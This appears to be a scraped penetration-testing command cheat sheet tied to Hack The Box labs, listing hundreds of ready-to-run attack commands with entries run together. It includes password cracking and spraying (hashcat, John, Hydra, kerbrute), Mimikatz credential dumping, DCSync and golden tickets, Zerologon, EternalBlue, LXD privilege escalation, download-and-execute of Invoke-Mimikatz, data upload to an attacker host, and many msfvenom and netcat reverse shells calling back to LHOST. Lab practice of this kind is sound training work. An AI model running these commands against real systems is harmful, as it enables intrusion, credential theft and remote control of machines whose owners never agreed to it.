hashcat -m 1410 <HASHFILE> <WORDLIST> --show# 5600 NetNTLMv2
hashcat -m 5600 <HASHFILE> <WORDLIST># 3200 bcrypt
hashcat -a 0 -m 3200 <HASHFILE> <WORDLIST> --show# 5600 NetNTLMv2 (7)
hashcat -a 0 -m 5600 <HASHFILE> <WORDLIST> --show# 13100 Kerberos TGS-REP (etype 23) (8)
hashcat -a 0 -m 13100 <HASHFILE> <WORDLIST> --show# 13100 Kerberos TGS-REP (etype 23) (9)
hashcat -a 0 -m 13100 <HASHFILE> <WORDLIST> -O# 13100 Kerberos TGS-REP (etype 23) (10)
hashcat -m 13100 <HASHFILE> <WORDLIST># 2100 DCC2 (MS Cache 2)
hashcat -m 2100 <HASHFILE> <WORDLIST># 19900
hashcat -m 19900 <HASHFILE> <WORDLIST> --show# 500 md5crypt ($1$)
hashcat -m 500 -a 0 md5-hashes.list rockyou.txt# 1800 sha512crypt ($6$)
hashcat -m 1800 -a 0 /tmp/unshadowed.hashes rockyou.txt -o /tmp/unshadowed.cracked# 1000 NTLM
hashcat -m 1000 <HASHFILE> <WORDLIST> --show# 1000 NTLM (16)
hashcat -m 1000 <HASHFILE> <WORDLIST># 22100 BitLocker
hashcat -m 22100 <HASHFILE> <WORDLIST> -o backup.cracked# 0 MD5
hashcat -m 0 <HASHFILE> <WORDLIST># 100 SHA1
hashcat -m 100 <HASHFILE> <WORDLIST># 1400 SHA2-256
hashcat -m 1400 <HASHFILE> <WORDLIST># 1700 SHA2-512
hashcat -m 1700 <HASHFILE> <WORDLIST># 500 md5crypt ($1$) (22)
hashcat -m 500 <HASHFILE> <WORDLIST># 1800 sha512crypt ($6$) (23)
hashcat -m 1800 <HASHFILE> <WORDLIST># 3200 bcrypt (24)
hashcat -m 3200 <HASHFILE> <WORDLIST># 5500 NetNTLMv1
hashcat -m 5500 <HASHFILE> <WORDLIST># 19700 Kerberos TGS-REP (etype 18)
hashcat -m 19700 <HASHFILE> <WORDLIST># 7500 Kerberos AS-REQ pre-auth (etype 23)
hashcat -m 7500 <HASHFILE> <WORDLIST># 22000 WPA-PBKDF2-PMKID+EAPOL
hashcat -m 22000 <HASHFILE> <WORDLIST># 13400 KeePass (29)
hashcat -m 13400 <HASHFILE> <WORDLIST># 400
hashcat -m 400 <HASHFILE> <WORDLIST># 3000 LM
hashcat -m 3000 <HASHFILE> <WORDLIST># 16500 JWT
hashcat -m 16500 <HASHFILE> <WORDLIST># 13100 Kerberos TGS-REP (etype 23) (33)
hashcat -a 0 -m 13100 <HASHFILE> <WORDLIST># 3200 bcrypt (34)
hashcat -a 0 -m 3200 <HASHFILE> <WORDLIST> --usernameCrack Hash
Crack hashes with hashcat (mode 13722)
hashcat -m 13722 -a 3 hash '<WORD>?d?d!'Used on Phantom
Crack a hash with the RockYou wordlist
Crack hashes with hashcat (mode 19850)
hashcat/hashcat -m 19850 --force -a 0 hashcat/hash /usr/share/wordlists/rockyou.txtGenerate a rule-based wordlist
Wordlist attack with rules
hashcat --force password.list -r custom.rule --stdout > mut_password.listIdentify the hash type
Crack hashes with hashcat
hashcat --identify <HASHFILE>hashcat wiki
Show example hashes
Crack hashes with hashcat
hashcat --example-hasheshashcat wiki
Wordlist with rules
Wordlist attack with rules
hashcat -m <MODE> <HASHFILE> <WORDLIST> -r /usr/share/hashcat/rules/best64.rulehashcat wiki
Wordlist with a large rule set
Wordlist attack with rules
hashcat -m <MODE> <HASHFILE> <WORDLIST> -r /usr/share/hashcat/rules/rockyou-30000.rulehashcat wiki
Preview rule output
Wordlist attack with rules
hashcat -r /usr/share/hashcat/rules/best64.rule --stdout <WORDLIST>hashcat wiki
Mask attack
Mask (brute force) attack with hashcat
hashcat -m <MODE> -a 3 <HASHFILE> ?u?l?l?l?l?l?d?dhashcat wiki
Mask with a custom charset
Mask (brute force) attack with hashcat
hashcat -m <MODE> -a 3 <HASHFILE> -1 ?l?d ?1?1?1?1?1?1hashcat wiki
Mask with increasing length
Mask (brute force) attack with hashcat
hashcat -m <MODE> -a 3 --increment --increment-min 4 --increment-max 8 <HASHFILE> ?a?a?a?a?a?a?a?ahashcat wiki
Hybrid: wordlist + mask
Crack hashes with hashcat
hashcat -m <MODE> -a 6 <HASHFILE> <WORDLIST> ?d?d?d?dhashcat wiki
Hybrid: mask + wordlist
Crack hashes with hashcat
hashcat -m <MODE> -a 7 <HASHFILE> ?d?d?d?d <WORDLIST>hashcat wiki
Combinator attack
Crack hashes with hashcat
hashcat -m <MODE> -a 1 <HASHFILE> <WORDLIST> <WORDLIST2>hashcat wiki
Show cracked passwords
Show already cracked hashes
hashcat -m <MODE> <HASHFILE> --showhashcat wiki
Show cracked passwords with user names
Show already cracked hashes
hashcat -m <MODE> <HASHFILE> --show --usernamehashcat wiki
Show hashes not cracked yet
Crack hashes with hashcat
hashcat -m <MODE> <HASHFILE> --lefthashcat wiki
Hash file with user names
Crack hashes with hashcat
hashcat -m <MODE> --username <HASHFILE> <WORDLIST>hashcat wiki
Faster cracking
Crack hashes with hashcat
hashcat -m <MODE> <HASHFILE> <WORDLIST> -O -w 3hashcat wiki
Name a session
Crack hashes with hashcat
hashcat -m <MODE> <HASHFILE> <WORDLIST> --session <SESSION>hashcat wiki
Restore a session
Crack hashes with hashcat
hashcat --session <SESSION> --restorehashcat wiki
Use another potfile
Crack hashes with hashcat
hashcat -m <MODE> <HASHFILE> <WORDLIST> --potfile-path <POTFILE>hashcat wiki
Benchmark a mode
Benchmark hashcat
hashcat -b -m <MODE>hashcat wiki
Show the devices
Crack hashes with hashcat
hashcat -Ihashcat wiki
Crack with a rules file
Wordlist attack with rules
hashcat -a 0 -m <MODE> <HASHFILE> <WORDLIST> -r /usr/share/hashcat/rules/d3ad0ne.ruleProlab RastaLabs
http.server
Serve files
Serve files over HTTP
python3 -m http.server <PORT>Prolab Dante
Hydra · Network login brute forcer
Try a list of credentials (-C) against SSH
Online password brute force
hydra -C <USER> ssh://<TARGET>Brute force with a user list and a password list
Online password brute force
hydra -L user.list -P password.list <SERVICE>://<TARGET>Prolab Dante
Spray one password against a user list
Online password brute force
hydra -L user.list -p <PASSWORD> <SERVICE>://<TARGET>Brute force one user with a password list
Online password brute force
hydra -l <USER> -P password.list <SERVICE>://<TARGET>Brute force HTTP basic auth
Online password brute force
hydra -l <USER> -P /usr/share/wordlists/rockyou.txt <TARGET> http-get /loginProlab Offshore
icacls · Windows file ACL tool
Logon Scripts
Show or change file permissions (ACLs)
icacls $env:LOGONSERVER\NETLOGON\EricsScriptsDisplay or modify ACLs for C:\id_rsa
Show or change file permissions (ACLs)
icacls.exe C:\id_rsaModifying a file ACL
Show or change file permissions (ACLs)
icacls “C:\backups\wwwroot\web.config” /grant htb-student:Fiex
Execute a file in memory using PowerShell
Credential extraction with Mimikatz
IEX (New-Object Net.WebClient).DownloadString('https://<TARGET>/Invoke-Mimikatz.ps1')ifconfig
Show network configuration
ifconfigilspy
impacket
Abusing Access Shared Folders
Impacket v0.11.0 - Copyright 2023 Fortraimpacket-getst
Unconstrained Delegation
Request a service ticket (S4U / impersonation)
impacket-getST <DOMAIN>/'<USER>':'<PASSWORD>' -spn cifs/dc.<DOMAIN> -impersonate <USER>impacket-mssqlclient
Connecting to an MSSQL database server
Connect to MSSQL with impacket
impacket-mssqlclient <USER>@<TARGET>Enable xp_cmdshell with mssqlclient.py
enable_xp_cmdshellPrivileged Access to Server Links
enum_linksimpacket-services
SMB
Route a tool through a proxy chain
proxychains4 -q impacket-services <DOMAIN>/<USER>:<PASSWORD>@<TARGET> start -name 'Service Backdoor'impacket-smbserver
Starts a impacket SMB server for quick hosting of a file
Host an SMB share for file transfer
impacket-smbserver -ip <IP> -smb2support -username <USER> -password <PASSWORD> shared /home/<USER>/Downloads/import-modole
Decrypting Linked Server Passwords
Import modole
import-modole .\Get-MSSQLLinkPasswords.psm1invoke-command
Invoke command on remote server using WinRM
Show the current user
Invoke-Command -ComputerName <IP> -ScriptBlock { hostname;whoami }WinRM
Show the current user
# -ComputerName srv02 -ScriptBlock hostname whoami
Invoke-Command -ComputerName srv02 -ScriptBlock { hostname;whoami }# -ComputerName -Credential credential -ScriptBlock
Invoke-Command -ComputerName <TARGET> -Credential $credential -ScriptBlock { whoami; hostname }invoke-huntsmbshares
Search shares for interesting files and save the results
Invoke hunt smbshares
Invoke-HuntSMBShares -Threads 100 -OutputDirectory c:\Users\Publicinvoke-inveigh
DNS Record Modification
Invoke inveigh
Invoke-Inveigh Y -NBNS Y -ConsoleOutput Y -FileOutput Y -SMBStart Inveigh for hash interception
Invoke inveigh
Invoke-Inveigh Y -NBNS Y -ConsoleOutput Y -FileOutput Y -SMB YStart Inveigh with LLMNR and NBNS spoofing
Invoke inveigh
Invoke-Inveigh Y -NBNS Y -ConsoleOutput Y -FileOutput Yinvoke-kerberoast
Kerberoasting
Invoke kerberoast
Invoke-Kerberoastinvoke-mimikatz
ESC1
Credential extraction with Mimikatz
Invoke-Mimikatz -Command '"lsadump::dcsync /user:<DOMAIN>\<USER>invoke-powershelltcp
Reverse shell with Nishang
Invoke power shell tcp
Invoke-PowerShellTcp -Reverse -IPAddress <LHOST> -Port <LPORT>Prolab Dante
invoke-psinject
Inject a command into a process
Invoke psinject
Invoke-PSInject -Procid <PID> -Poshcode <BASE64>Prolab RastaLabs
invoke-restmethod
Upload a file over HTTP
Invoke rest method
Invoke-RestMethod -Uri http://<LHOST>:<PORT>/ -InFile <FILE> -Method PostProlab RastaLabs
invoke-reversesocksproxy
Reverse SOCKS proxy from the target
Invoke reverse socks proxy
Invoke-ReverseSocksProxy -remotePort <PORT> -remoteHost <LHOST> -certFingerprint '<FINGERPRINT>'Prolab RastaLabs
invoke-sessiongopher
Running SessionGopher
Invoke session gopher
Invoke-SessionGopher -Target WINLPE-SRV01invoke-thehash
ESC2
Remote command execution via SMB service
Invoke-TheHash -Type SMBExec -Target localhost -Username Administrator -Hash <NT_HASH> -Command "net localgroup Administrators grace /add"invoke-webrequest
Download a file with PowerShell
Download a file with PowerShell
Invoke-WebRequest https://<TARGET>/PowerView.ps1 -OutFile PowerView.ps1Invoke-WebRequest using a Chrome User Agent
Download a file with PowerShell
Invoke-WebRequest http://nc.exe -UserAgent [Microsoft.PowerShell.Commands.PSUserAgent]::Chrome -OutFile "nc.exe"Download a file from a web server
Download a file with PowerShell
Invoke-WebRequest -Uri "http://<TARGET>:8123/backupscript.exe" -OutFile "C:\backupscript.exe"Upload a file with PowerShell
Download a file with PowerShell
Invoke-WebRequest -Uri http://<LHOST>:443 -Method POST -Body $b64invoke-wmimethod
Run notepad.exe on a remote machine through WMI
Call a WMI method (remote execution)
Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList "notepad.exe" -ComputerName <IP>ipconfig
Get interface, IP address and DNS information
ipconfig /allShow all network configurations
ipconfigJohn the Ripper · Password cracker
Usage · GitHub · Website · Options · Modes · Rules · Examples
Wordlist attack
Crack hashes with John the Ripper
john --wordlist=<WORDLIST> <HASHFILE>Used on Redelegate · John the Ripper docs, Prolab Dante, Prolab Offshore
Cracking the Zip Password
Crack hashes with John the Ripper
john hash_winrm_zipfile --wordlist=/opt/Tools/rockyou.txtUsed on Timelapse
Decrypting Ansible Vault Password
Crack hashes with John the Ripper
john --show pwm_admin.hash.jtrformatUsed on Authority
sqlmap
Crack hashes with John the Ripper
john hash --wordlist=/opt/Tools/rockyou.txtShow the cracked hashes from ssh.hash
Crack hashes with John the Ripper
john ssh.hash --showWordlist with mangling rules
Crack hashes with John the Ripper
john --wordlist=<WORDLIST> --rules <HASHFILE>John the Ripper docs
Wordlist attack with a hash format
Crack hashes with John the Ripper
john --wordlist=<WORDLIST> --format=<FORMAT> <HASHFILE>John the Ripper docs
List the hash formats
Crack hashes with John the Ripper
john --list=formatsJohn the Ripper docs
Single crack mode
Crack hashes with John the Ripper
john --single <HASHFILE>John the Ripper docs
Incremental mode
Crack hashes with John the Ripper
john --incremental <HASHFILE>John the Ripper docs
Incremental mode, digits only
Crack hashes with John the Ripper
john --incremental=Digits <HASHFILE>John the Ripper docs
Mask mode
Crack hashes with John the Ripper
john --mask='?l?l?l?l?d?d?d?d' <HASHFILE>John the Ripper docs
Show cracked passwords
Crack hashes with John the Ripper
john --show <HASHFILE>John the Ripper docs
Show cracked passwords of a format
Crack hashes with John the Ripper
john --show --format=<FORMAT> <HASHFILE>John the Ripper docs
Show hashes not cracked yet
Crack hashes with John the Ripper
john --show --left <HASHFILE>John the Ripper docs
Continue an interrupted session
Crack hashes with John the Ripper
john --restoreJohn the Ripper docs
Name a session
Crack hashes with John the Ripper
john --session=<SESSION> --wordlist=<WORDLIST> <HASHFILE>John the Ripper docs
Use more CPU cores
Crack hashes with John the Ripper
john --fork=4 --wordlist=<WORDLIST> <HASHFILE>John the Ripper docs
Combine passwd and shadow
unshadow /etc/passwd /etc/shadow > <HASHFILE>John the Ripper docs
ZIP archive to hash
Crack hashes with John the Ripper
zip2john <FILE>.zip > <HASHFILE>John the Ripper docs
RAR archive to hash
Crack hashes with John the Ripper
rar2john <FILE>.rar > <HASHFILE>John the Ripper docs
7-Zip archive to hash
Crack hashes with John the Ripper
7z2john <FILE>.7z > <HASHFILE>John the Ripper docs
PDF to hash
Crack hashes with John the Ripper
pdf2john <FILE>.pdf > <HASHFILE>John the Ripper docs
Office document to hash
Crack hashes with John the Ripper
office2john <FILE>.docx > <HASHFILE>John the Ripper docs
SSH private key to hash
Crack hashes with John the Ripper
ssh2john <KEY> > <HASHFILE>John the Ripper docs
GPG key to hash
Crack hashes with John the Ripper
gpg2john <KEY>.asc > <HASHFILE>John the Ripper docs
KeePass database to hash
Crack hashes with John the Ripper
keepass2john <FILE>.kdbx > <HASHFILE>John the Ripper docs
Crack Kerberoast tickets
Crack hashes with John the Ripper
john --format=krb5tgs --wordlist=<WORDLIST> <HASHFILE>John the Ripper docs
Crack AS-REP roast hashes
Crack hashes with John the Ripper
john --format=krb5asrep --wordlist=<WORDLIST> <HASHFILE>John the Ripper docs
Crack NTLM hashes
Crack hashes with John the Ripper
john --format=NT --wordlist=<WORDLIST> <HASHFILE>John the Ripper docs
Crack NetNTLMv2 captures
Crack hashes with John the Ripper
john --format=netntlmv2 --wordlist=<WORDLIST> <HASHFILE>John the Ripper docs
Crack MD5 hashes
Crack hashes with John the Ripper
john --format=Raw-MD5 --wordlist=<WORDLIST> <HASHFILE>Prolab Dante
jq
NULL Sessions
jq -r '.[]' users.txt > userslist.txtjuicypotato
Potato privilege escalation
Start a netcat listener
.\JuicyPotato.exe -t * -p c:\windows\system32\cmd.exe -a "/c c:\users\<USER>\documents\nc.exe -e cmd.exe <LHOST> <LPORT>" -l 1337 -c "{<CLSID>}"Prolab Dante
keepass2john
kerbrute · Kerberos user enumeration and spraying
Credential Discovery
Password spray via Kerberos
kerbrute passwordspray --dc <TARGET> -d <DOMAIN> users.list '<PASSWORD>'Used on LustrousTwo
Enumerate valid users via Kerberos
kerbrute userenum -d <DOMAIN> --dc <TARGET> users.txtKerbrute README, Prolab Dante
Password Spray
Password spray via Kerberos
kerbrute passwordspray users.txt inlanefreight2020 --dc dc01.<DOMAIN> -d <DOMAIN>User Enum
Enumerate valid users via Kerberos
kerbrute userenum users.txt --dc dc01.<DOMAIN> -d <DOMAIN>Password spray a user list with kerbrute
Password spray via Kerberos
kerbrute passwordspray -d <DOMAIN> --dc <TARGET> valid_users.txt Welcome1kerbrute userenum output file
Enumerate valid users via Kerberos
kerbrute userenum -d <DOMAIN> --dc <TARGET> users.txt -o valid_users.logKerbrute README
kerbrute userenum threads
Enumerate valid users via Kerberos
kerbrute userenum -d <DOMAIN> --dc <TARGET> -t 50 users.txtKerbrute README
kerbrute userenum downgrade
Enumerate valid users via Kerberos
kerbrute userenum -d <DOMAIN> --dc <TARGET> --downgrade users.txtKerbrute README
kerbrute userenum AS-REP hashes
Enumerate valid users via Kerberos
kerbrute userenum -d <DOMAIN> --dc <TARGET> --hash-file asrep_hashes.txt users.txtKerbrute README
Password spray via Kerberos
kerbrute passwordspray -d <DOMAIN> --dc <TARGET> users.txt '<PASSWORD>'Kerbrute README
kerbrute passwordspray safe mode
Password spray via Kerberos
kerbrute passwordspray -d <DOMAIN> --dc <TARGET> --safe users.txt '<PASSWORD>'Kerbrute README
kerbrute passwordspray delay
Password spray via Kerberos
kerbrute passwordspray -d <DOMAIN> --dc <TARGET> --delay 1000 users.txt '<PASSWORD>'Kerbrute README
Brute force a single user via Kerberos
kerbrute bruteuser -d <DOMAIN> --dc <TARGET> passwords.txt <USER>Kerbrute README
kerbrute bruteforce
cat combos.txt | kerbrute bruteforce -d <DOMAIN> --dc <TARGET> -Kerbrute README
kerbrute verbose
Enumerate valid users via Kerberos
kerbrute userenum -d <DOMAIN> --dc <TARGET> -v users.txtKerbrute README
kerbrute versionKerbrute README
kerbrute_linux_amd64
Discover valid usernames in the domain
./kerbrute_linux_amd64 userenum -d <DOMAIN> --dc <TARGET> jsmith.txt -o kerb-resultsTest the compiled kerbrute binary
./kerbrute_linux_amd64kinit
krb5.conf
krbrelayx · Kerberos relaying and unconstrained delegation abuse
Unconstrained Delegation - Users
sudo python krbrelayx.py -hashes :<NT_HASH>kvno
laps
ReadLAPPassword
python3 laps.py -u <USER> -p <PASSWORD> -l <TARGET> -d <DOMAIN>laudanum
Location of laudanum webshells on ParrotOS and Pwnbox
/usr/share/webshells/laudanumLaZagne · Credential recovery from local applications
Runs Lazagne.py browsers module using Python 3
python3 lazagne.py browsersldapsearch
List domain users with ldapsearch
Search text with grep
ldapsearch -h <TARGET> -x -b "DC=<DOMAIN>,DC=<DOMAIN_PART>" -s sub "(&(objectclass=user))" | grep sAMAccountName: | cut -f2 -d" "Enumerate the password policy with ldapsearch
Search text with grep
ldapsearch -h <TARGET> -x -b "DC=<DOMAIN>,DC=<DOMAIN_PART>" -s sub "*" | grep -m 1 -B 10 pwdHistoryLengthldd
View the shared objects required by a binary
ldd /bin/lsLigolo-ng · Tunnelling and pivoting
Usage · GitHub · Quickstart · Listeners · Double pivot
Start the proxy (self-signed)
Start the proxy
./proxy -selfcertLigolo-ng docs
Tripple Pivot
Start the proxy
# ./proxy -selfcert -laddr
./proxy -selfcert -laddr <TARGET>:# ./agent -connect :443
./agent -connect <KALI_IP>:443 -ignore-certUsed on Fries · Ligolo-ng docs
Mounting Share
Run the agent and connect back to the proxy
./agent --ignore-cert -connect <LHOST>:11601Used on Fries
Create the tun interface
Tunnel traffic with ligolo-ng
sudo ip tuntap add user <USER> mode tun ligoloLigolo-ng docs
Bring the interface up
Tunnel traffic with ligolo-ng
sudo ip link set ligolo upLigolo-ng docs
Create the interface from the console
Tunnel traffic with ligolo-ng
interface_create --name ligoloLigolo-ng docs
Start the proxy (Let's Encrypt)
Start the ligolo proxy with a self-signed certificate
./proxy -autocertLigolo-ng docs
Start the proxy with your certificate
Start the ligolo proxy with your own certificate
./proxy -certfile <CERT> -keyfile <KEY>Ligolo-ng docs
Show the certificate fingerprint
certificate_fingerprintLigolo-ng docs
Connect the agent
Run the agent and connect back to the proxy
./agent -connect <LHOST>:11601 -accept-fingerprint <FINGERPRINT>Ligolo-ng docs
Connect the agent through a SOCKS5 proxy
Run the agent and connect back to the proxy
./agent -connect <LHOST>:11601 --socks <PROXY_IP>:<PORT>Ligolo-ng docs
Select an agent
Select a session
sessionLigolo-ng docs
Show the interfaces of the agent
ifconfigLigolo-ng docs
Add a route to the interface
Tunnel traffic with ligolo-ng
interface_add_route --name ligolo --route <SUBNET>/24Ligolo-ng docs
Reach the local ports of the agent
Tunnel traffic with ligolo-ng
sudo ip route add <IP>/32 dev ligoloLigolo-ng docs
Start the tunnel
Tunnel traffic with ligolo-ng
tunnel_start --tun ligoloLigolo-ng docs
Find the interface index on Windows
Windows network configuration
netsh int ipv4 show interfacesLigolo-ng docs
Add a route on Windows
Add a route through the tunnel
route add <SUBNET> mask 255.255.255.0 0.0.0.0 if <IFACE_IDX>Ligolo-ng docs
Add a listener on the agent
Add a listener / port forward on the agent
listener_add --addr 0.0.0.0:<PORT> --to 127.0.0.1:<PORT> --tcpLigolo-ng docs
List the listeners
listener_listLigolo-ng docs
Stop a listener
listener_stop <ID>Ligolo-ng docs
Double pivot: relay the second agent
Add a listener / port forward on the agent
listener_add --addr 0.0.0.0:<PORT> --to 127.0.0.1:11601Ligolo-ng docs
Double pivot: connect the second agent
Run the agent and connect back to the proxy
./agent -connect <PIVOT_IP>:<PORT>Ligolo-ng docs
ligolo proxy
Start the proxy
sudo ./proxy -laddr <LHOST>:443 -selfcertZephyr notes
listener_add
Tripple Pivot
Add a listener / port forward on the agent
listener_add --addr <TARGET>:443 --to <TARGET>:443 --tcplookupsid.py · SID brute force (Impacket)
ESC8
Enumerate SIDs / users via RPC
lookupsid.py 'lab-dc$'@<TARGET> -hashes :<NT_HASH> | grep -i domain sidExtraSids Attack
Enumerate SIDs / users via RPC
proxychains lookupsid.py dev.<DOMAIN>/<USER>:<PASSWORD>@<TARGET> | grep -B12 "Enterprise Admins"Silver Ticket
Enumerate SIDs / users via RPC
lookupsid.py <DOMAIN>/<USER>@<DOMAIN> -domain-sidsBrute force SIDs with lookupsid.py
Enumerate SIDs / users via RPC
lookupsid.py logistics.<DOMAIN>/<USER>@<TARGET>Obtain SID of domain using lookupsid.py
Enumerate SIDs / users via RPC
lookupsid.py dev.<DOMAIN>/<USER>:<PASSWORD>@<TARGET> | grep "Domain SID"lxc
Import a local image
Archive or extract files
lxc image import alpine.tar.gz alpine.tar.gz.root --alias alpineMount the host file system in a container
Configure the container, for example mount the host disk
lxc config device add r00t mydev disk source=/ path=/mnt/root recursive=trueStart a privileged LXD container
Create a container (LXD privilege escalation)
lxc init alpine r00t -c security.privileged=trueStart the container
Start the container
lxc start r00tlxd
Start the LXD initialization process
lxd initLynis · Security auditing for Unix systems
Perform a system audit with Lynis
./lynis audit systemmake
Compile kerbrute for multiple platforms
sudo make allList the available make options
make helpMetasploit · Exploitation framework
Run the ping sweep module on a network segment
Run a module in the session
run post/multi/gather/ping_sweep RHOSTS=<TARGET>/23Select the socks_proxy auxiliary module
Load Metasploit module auxiliary/server/socks_proxy
use auxiliary/server/socks_proxyMetasploit command used to select the autoroute module
Load Metasploit module post/multi/manage/autoroute
use post/multi/manage/autorouteUse the SMB psexec module
Remote shell via service creation (psexec)
use exploit/windows/smb/psexecUse the rConfig file upload RCE module
Load Metasploit module exploit/linux/http/rconfig_vendors_auth_file_upload_rce
use exploit/linux/http/rconfig_vendors_auth_file_upload_rceCheck a host for MS17-010
Load Metasploit module auxiliary/scanner/smb/smb_ms17_010
use auxiliary/scanner/smb/smb_ms17_010Use the ms17_010_psexec module
Remote shell via service creation (psexec)
use exploit/windows/smb/ms17_010_psexecSearch for the rdp_scanner module
Search modules
search rdp_scannerSelect the multi/handler module
Load Metasploit module exploit/multi/handler
use exploit/multi/handlerMeterpreter · Metasploit payload and session commands
Show the portfwd options
Show built-in help
help portfwdAdd a reverse port forward (-R)
Port forward through the session
portfwd add -R -l 8081 -p <PASSWORD> -L <LHOST>Add a local port forward to the target
Port forward through the session
portfwd add -l 3300 -p <PASSWORD> -r <TARGET>Route to another subnet
meterpreter > run autoroute -s <SUBNET>/24Prolab Dante
Forward a port
Port forward through the session
meterpreter > portfwd add -L 127.0.0.1 -l <LPORT> -p <PORT> -r <TARGET>Prolab Dante
Mimikatz · Windows credential extraction
Create Golden Ticket using Mimikatz
Credential extraction with Mimikatz
mimikatz # kerberos::golden /user:htb-student /domain:dev.<DOMAIN> /sid:S-1-5-21-<DOMAIN_SID> /krbtgt:<NT_HASH> /sids:S-1-5-21-<DOMAIN_SID>-519 /pttOutput extracted tickets in base64
Credential extraction with Mimikatz
mimikatz # base64 /out:truePerform a DCSync with Mimikatz
Credential extraction with Mimikatz
mimikatz # lsadump::dcsync /user:<DOMAIN>\krbtgtProlab RastaLabs
Trust Account Attack
Credential extraction with Mimikatz
mimikatz # lsadump::trust /patchEnable debug privilege
Credential extraction with Mimikatz
mimikatz # privilege::debugProlab RastaLabs
Logon passwords
Credential extraction with Mimikatz
mimikatz # sekurlsa::logonPasswordsProlab RastaLabs
Local SAM hashes
Credential extraction with Mimikatz
mimikatz # lsadump::samProlab RastaLabs
Elevate token
Credential extraction with Mimikatz
mimikatz # token::elevateProlab RastaLabs
Decrypt with the masterkey
Credential extraction with Mimikatz
mimikatz # dpapi::cred /in:<BLOB_PATH> /masterkey:<MASTERKEY>Prolab RastaLabs
Get a DPAPI masterkey
Credential extraction with Mimikatz
mimikatz # dpapi::masterkey /in:C:\Users\<USER>\AppData\Roaming\Microsoft\Protect\<SID>\<GUID> /rpcProlab RastaLabs
Zerologon from mimikatz
Credential extraction with Mimikatz
mimikatz # lsadump::zerologon /target:<TARGET> /account:<DC_ACCOUNT>$ /exploitProlab Offshore
mimipenguin · Dump Linux login passwords from memory
Runs Mimipenguin.py using python3
python3 mimipenguin.pymount
Mount an NFS share locally
Mount a filesystem or share
sudo mount -t nfs <TARGET>:/tmp /mntUsed on VulnCicada, Mirage
Mounting Share
Mount a filesystem or share
sudo mount -t nfs -o nolock,nfsvers=3 <TARGET>:/srv/web.<DOMAIN> mnt-pointUsed on Fries
msfconsole
Open Metasploit through proxychains
Route a tool through a proxy chain
proxychains msfconsoleEternalBlue (MS17-010)
Remote shell via service creation (psexec)
msfconsole
use exploit/windows/smb/ms17_010_psexec
set RHOSTS <TARGET>
set payload windows/x64/meterpreter/reverse_tcp
set LHOST tun0
set LPORT <LPORT>
runProlab Dante
FTP login brute force
Start the Metasploit console
msfconsole
use auxiliary/scanner/ftp/ftp_login
set PASS_FILE passwords.txt
set USER_FILE users.txt
set RHOSTS <TARGET>
runProlab Dante
Port scan from a session
Load Metasploit module auxiliary/scanner/portscan/tcp
use auxiliary/scanner/portscan/tcp
set RHOSTS <TARGET>
set THREADS 10
runProlab Dante
Pass the hash with psexec
Remote shell via service creation (psexec)
msfconsole
use exploit/windows/smb/psexec
set rhosts <TARGET>
set smbuser <USER>
set smbpass <HASH>
set payload windows/meterpreter/reverse_tcp
set lhost tun0
set lport <LPORT>
runProlab Dante
msfvenom · Metasploit payload generator
msfvenom dll payloads
Generate a payload with msfvenom
# windows/meterpreter/shell_reverse_tcp :4444
msfvenom -p windows/meterpreter/shell_reverse_tcp LHOST=<LHOST> LPORT=4444 -f dll -o <OUTFILE># windows/meterpreter/reverse_tcp :4444
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<LHOST> LPORT=4444 -f dll -o <OUTFILE># windows/x64/exec
msfvenom -p windows/x64/exec cmd='net group "domain admins" netadm /add /domain' -f dll -o <OUTFILE># windows/x64/meterpreter/reverse_tcp :8080
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<TARGET> LPORT=8080 -f dll > backupscript.dllUsed on Logging
Generate a malicious MSI package
Generate a payload with msfvenom
msfvenom -p windows/shell_reverse_tcp lhost=<LHOST> lport=9443 -f msi > aie.msimsfvenom exe payloads
Generate a payload with msfvenom
# windows/x64/meterpreter/reverse_https :8443
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=<LHOST> LPORT=8443 -f exe > maintenanceservice.exe# windows/meterpreter/reverse_tcp :4444
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<LHOST> LPORT=4444 -f exe -o <OUTFILE># windows/shell_reverse_tcp :443
msfvenom -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=443 -f exe > nameoffile.exe# windows/x64/shell_reverse_tcp :4445
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<LHOST> LPORT=4445 -f exe -o <OUTFILE># windows/x64/meterpreter/reverse_https :8080
msfvenom -p windows/x64/meterpreter/reverse_https lhost= <PIVOT_IP> -f exe -o <OUTFILE> LPORT=8080# windows/x64/meterpreter/reverse_tcp
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<LHOST> LPORT=<LPORT> -f exe -o <OUTFILE>Used on Logging, LustrousTwo · Prolab Offshore
Generate an ASP reverse shell payload
Generate a payload with msfvenom
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<LHOST> LPORT=443 -f asp > nameoffile.aspGenerate a JSP reverse shell payload
Generate a payload with msfvenom
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<LHOST> LPORT=443 -f raw > nameoffile.jspmsfvenom elf payloads
Generate a payload with msfvenom
# linux/x64/shell_reverse_tcp :443
msfvenom -p linux/x64/shell_reverse_tcp LHOST=<LHOST> LPORT=443 -f elf > nameoffile.elf# linux/x64/meterpreter/reverse_tcp
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=<LHOST> LPORT=<LPORT> -f elf -o <OUTFILE>Prolab Offshore
Generate a macOS reverse shell payload
Generate a payload with msfvenom
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<LHOST> LPORT=443 -f macho > nameoffile.machomsfvenom war payloads
Generate a payload with msfvenom
# java/jsp_shell_reverse_tcp :443
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<LHOST> LPORT=443 -f war > nameoffile.war# java/jsp_shell_reverse_tcp
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> -f war -o <OUTFILE>Prolab Offshore
Shellcode without bad characters
Generate a payload with msfvenom
msfvenom -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> -b "\x00\x0a\x0d" -f pythonProlab Dante
msiexec
Executing an MSI package from command line
msiexec /i c:\users\htb-student\desktop\aie.msi /quiet /qn /norestartmssqlclient.py · MSSQL client (Impacket)
Connect to SQL Server using Impacket tools
Connect to MSSQL with impacket
mssqlclient.py <USER>@<TARGET> -windows-authShow the mssqlclient.py options
Connect to MSSQL with impacket
